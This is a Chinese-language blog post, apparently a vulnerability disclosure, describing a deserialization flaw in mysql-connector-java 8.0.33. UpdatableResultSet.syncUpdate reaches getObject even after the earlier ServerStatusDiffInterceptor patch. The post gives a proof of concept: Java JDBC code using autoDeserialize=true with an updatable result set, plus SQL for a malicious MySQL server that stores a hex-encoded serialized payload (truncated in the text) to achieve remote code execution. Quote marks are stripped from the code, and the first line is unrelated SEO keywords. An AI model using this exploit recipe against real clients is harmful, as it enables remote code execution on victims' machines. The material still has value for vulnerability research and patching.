php做网站的分站,花果园网站建设,宿迁房价2022最新房价,网站内的地图导航怎么做前言
经过与oracle官方沟通#xff0c;在最新的mysql-connector-j 9.0.0里不存在这个问题#xff0c;所以他们不认为这是个漏洞 不过确实#xff0c;mysql-connector-java这个分支已经迁移到mysql-connector-j了#xff0c;当时没注意#xff0c;交的时候只注意了mysql-c…前言
经过与oracle官方沟通在最新的mysql-connector-j 9.0.0里不存在这个问题所以他们不认为这是个漏洞 不过确实mysql-connector-java这个分支已经迁移到mysql-connector-j了当时没注意交的时候只注意了mysql-connector-java 8.0.33确实是latest version
描述
在mysql jdbc反序列化漏洞出来之后patch了ServerStatusDiffInterceptor的逻辑让他没有调用getObject 但是我发现在UpdatableResultSet的syncUpdate方法还是会调用到getObject 当时就搜了一下updateResultset的demo然后跑了一下发现都能直接调用到syncUpdate,然后就通了
poc
String urljdbc:mysql://ip:port/test?autoDeserializetrue;
String usernameroot;
String passwordtest ;
DriverManager.getConnection(url,username,password);
Statement stmt
connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE);
ResultSet rs stmt.executeQuery(SELECT id,object FROM objects); while (rs.next()) {rs.updateInt(object,1);}
rs.close(); stmt.close(); connection.close();他这里的问题就是 不管你实际调用的updateInt还是updateString他都会进入syncUpdate 然后getObject这个column只要这个column我们填写恶意的反序列化数据就可以反序列化 然后我们需要一个恶意的mysql服务器
CREATE TABLE objects_table ( id INT AUTO_INCREMENT,
object BLOB, PRIMARY KEY (id))
INSERT INTO objects_table(object) VALUES (UNHEX(ace.........16178));插入hex编码的反序列化payload运行就可以rce